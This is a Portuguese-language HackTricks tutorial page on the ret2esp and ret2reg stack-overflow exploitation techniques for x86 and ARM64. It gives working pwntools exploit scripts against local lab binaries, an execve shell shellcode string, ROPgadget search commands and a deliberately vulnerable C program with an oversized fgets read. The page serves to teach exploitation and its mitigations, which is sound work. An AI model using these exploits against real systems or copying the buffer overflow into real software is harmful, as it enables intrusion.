Ret2esp / Ret2reg

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Ret2esp

Porque o ESP (Ponteiro de Pilha) sempre aponta para o topo da pilha, essa técnica envolve substituir o EIP (Ponteiro de Instrução) pelo endereço de uma instrução jmp esp ou call esp. Ao fazer isso, o shellcode é colocado imediatamente após o EIP sobrescrito. Quando a instrução ret é executada, o ESP aponta para o próximo endereço, precisamente onde o shellcode está armazenado.

Se o Address Space Layout Randomization (ASLR) não estiver ativado no Windows ou Linux, é possível usar instruções jmp esp ou call esp encontradas em bibliotecas compartilhadas. No entanto, com ASLR ativo, pode ser necessário procurar essas instruções dentro do programa vulnerável em si (e pode ser necessário derrotar PIE).

Além disso, ser capaz de colocar o shellcode após a corrupção do EIP, em vez de no meio da pilha, garante que quaisquer instruções push ou pop executadas durante a operação da função não interfiram no shellcode. Essa interferência poderia ocorrer se o shellcode fosse colocado no meio da pilha da função.

Falta de espaço

Se você estiver com falta de espaço para escrever após sobrescrever o RIP (talvez apenas alguns bytes), escreva um shellcode jmp inicial como:

sub rsp, 0x30
jmp rsp

E escreva o shellcode no início da pilha.

Exemplo

Você pode encontrar um exemplo dessa técnica em https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp com um exploit final como:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')

pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()

Você pode ver outro exemplo dessa técnica em https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html. Há um estouro de buffer sem NX habilitado, é usado um gadget para reduzir o endereço de $esp e então um jmp esp; para pular para o shellcode:

# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *

# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')

# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Establish our rop gadgets

# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)

# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)

# Make the payload

payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget

# Send our payload
target.sendline(payload)

# Drop to an interactive shell
target.interactive()

Ret2reg

Da mesma forma, se soubermos que uma função retorna o endereço onde o shellcode está armazenado, podemos aproveitar as instruções call eax ou jmp eax (conhecidas como técnica ret2eax), oferecendo outro método para executar nosso shellcode. Assim como eax, qualquer outro registrador contendo um endereço interessante poderia ser usado (ret2reg).

Exemplo

Você pode encontrar alguns exemplos aqui:

ARM64

Ret2sp

No ARM64 não há instruções que permitam saltar para o registro SP. Pode ser possível encontrar um gadget que mova sp para um registro e então salte para esse registro, mas na libc do meu kali não consegui encontrar nenhum gadget assim:

for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done

Os únicos que descobri mudariam o valor do registro onde sp foi copiado antes de pular para ele (então se tornaria inútil):

Ret2reg

Se um registro tiver um endereço interessante, é possível pular para ele apenas encontrando a instrução adequada. Você poderia usar algo como:

ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";

No ARM64, é o x0 que armazena o valor de retorno de uma função, então poderia ser que x0 armazene o endereço de um buffer controlado pelo usuário com um shellcode para executar.

Código de exemplo:

// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack

#include <stdio.h>
#include <string.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}

char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}

int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}

Verificando a desmontagem da função, é possível ver que o endereço do buffer (vulnerável a estouro de buffer e controlado pelo usuário) é armazenado em x0 antes de retornar do estouro de buffer:

Também é possível encontrar o gadget br x0 na função do_stuff:

Vamos usar esse gadget para pular para ele porque o binário é compilado SEM PIE. Usando um padrão, é possível ver que o deslocamento do estouro de buffer é 80, então o exploit seria:

from pwn import *

p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')

stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0

p.sendline(payload)
p.interactive()

Se em vez de fgets fosse usado algo como read, teria sido possível contornar o PIE também apenas sobrescrevendo os últimos 2 bytes do endereço de retorno para retornar à instrução br x0; sem precisar saber o endereço completo. Com fgets não funciona porque ele adiciona um byte nulo (0x00) no final.

Protections

  • NX: Se a pilha não for executável, isso não ajudará, pois precisamos colocar o shellcode na pilha e pular para executá-lo.

  • ASLR & PIE: Isso pode dificultar encontrar uma instrução para pular para esp ou qualquer outro registro.

References

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Last updated